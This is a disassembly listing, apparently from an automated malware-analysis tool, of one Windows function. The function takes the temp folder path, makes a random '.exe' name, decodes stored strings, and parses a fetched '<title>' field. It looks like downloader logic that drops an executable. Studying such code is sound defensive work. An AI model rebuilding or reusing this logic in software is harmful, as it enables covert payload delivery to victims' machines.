Function at 0x402080
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x5914
call fcn.004028a0
push ebx
push esi
push edi
push 0x40
pop edx
xor ebx, ebx
mov ecx, edx
xor eax, eax
lea edi, [ebp - 0x103]
mov byte [ebp - 0x104], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, edx
xor eax, eax
lea edi, [ebp - 0x513]
mov byte [ebp - 0x514], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x8ff
xor eax, eax
lea edi, [ebp - 0x2913]
mov byte [ebp - 0x2914], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x2ff
xor eax, eax
lea edi, [ebp - 0x3513]
mov byte [ebp - 0x3514], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, edx
xor eax, eax
lea edi, [ebp - 0x40f]
mov byte [ebp - 0x410], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, edx
xor eax, eax
lea edi, [ebp - 0x30b]
mov byte [ebp - 0x30c], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, edx
xor eax, eax
lea edi, [ebp - 0x207]
mov byte [ebp - 0x208], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x104]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [ebp - 0x514]
push 5
push eax
call fcn.004019b1
lea eax, [ebp - 0x104]
push eax
call fcn.004027c0
add esp, 0xc
cmp byte [ebp + eax - 0x104], 0x5c
je 0x40217c
lea eax, [ebp - 0x104]
push eax
call fcn.004027c0
pop ecx
mov byte [ebp + eax - 0x103], 0x5c
lea eax, [ebp - 0x514]
push eax
lea eax, [ebp - 0x104]
push eax
call fcn.00402b40
lea eax, [ebp - 0x104]
push str..exe
push eax
call fcn.00402b40
push 9
push 2
call fcn.0040101d
push eax
lea eax, [ebp - 0x410]
push eax
push dword [0x407030]
call fcn.00401074
lea eax, [ebp - 0x410]
push eax
call fcn.004027c0
add esp, 0x28
cmp eax, 0xa
jbe 0x40239d
mov edi, 0x2400
lea eax, [ebp - 0x2914]
push edi
push eax
lea eax, [ebp - 0x410]
push eax
call fcn.00401647
add esp, 0xc
test eax, eax
jne 0x4022a0
push 9
push 2
call fcn.0040101d
push eax
lea eax, [ebp - 0x30c]
push eax
push dword [0x407034]
call fcn.00401074
lea eax, [ebp - 0x30c]
push eax
call fcn.004027c0
add esp, 0x18
cmp eax, 0xa
jbe 0x40239d
lea eax, [ebp - 0x2914]
push edi
push eax
lea eax, [ebp - 0x30c]
push eax
call fcn.00401647
add esp, 0xc
test eax, eax
jne 0x402315
push 9
push 2
call fcn.0040101d
push eax
lea eax, [ebp - 0x208]
push eax
push dword [0x407038]
call fcn.00401074
lea eax, [ebp - 0x208]
push eax
call fcn.004027c0
add esp, 0x18
cmp eax, 0xa
jbe 0x40239d
lea eax, [ebp - 0x2914]
push edi
push eax
lea eax, [ebp - 0x208]
push eax
call fcn.00401647
add esp, 0xc
test eax, eax
je 0x40239d
jmp 0x402315
lea eax, [ebp - 0x2914]
push str._title_
push eax
call fcn.00402c50
mov esi, eax
push edi
lea eax, [ebp - 0x5914]
push ebx
push eax
add esi, 7
call fcn.00402840
mov cl, byte [esi]
add esp, 0x14
cmp cl, 0x20
je 0x4022e4
lea edx, [ebp - 0x5914]
mov eax, esi
sub edx, esi
mov byte [edx + eax], cl
mov cl, byte [eax + 1]
inc eax
cmp cl, 0x20
jne 0x4022d8
push edi
lea eax, [ebp - 0x2914]
push ebx
push eax
call fcn.00402840
lea eax, [ebp - 0x5914]
push eax
call fcn.004027c0
push eax
lea eax, [ebp - 0x5914]
push eax
lea eax, [ebp - 0x2914]
push eax
call fcn.004026c0
add esp, 0x1c
call fcn.00402018
mov edi, eax
lea eax, [ebp - 0x2914]
push eax
call fcn.004027c0
cmp eax, 0x15
pop ecx
jb 0x40239d
lea eax, [ebp - 0x2914]
push eax
call fcn.0040207c
test eax, eax
pop ecx
je 0x40239d
push 9
push 2
call fcn.0040101d
push eax
lea eax, [ebp - 0x3514]
push eax
lea eax, [ebp - 0x2914]
push eax
call fcn.00401074
lea eax, [ebp - 0x3514]
push 0x3a
push eax
call fcn.00402ce0
mov esi, eax
add esp, 0x1c
cmp esi, ebx
je 0x40239d
lea eax, [ebp - 0x3514]
mov byte [esi], bl
push eax
call fcn.00402ae1
cmp edi, eax
pop ecx
je 0x40239d
push eax
call fcn.00401fd4
lea eax, [ebp - 0x104]
inc esi
push eax
push esi
call fcn.004016f4
add esp, 0xc
pop edi
pop esi
pop ebx
leave
ret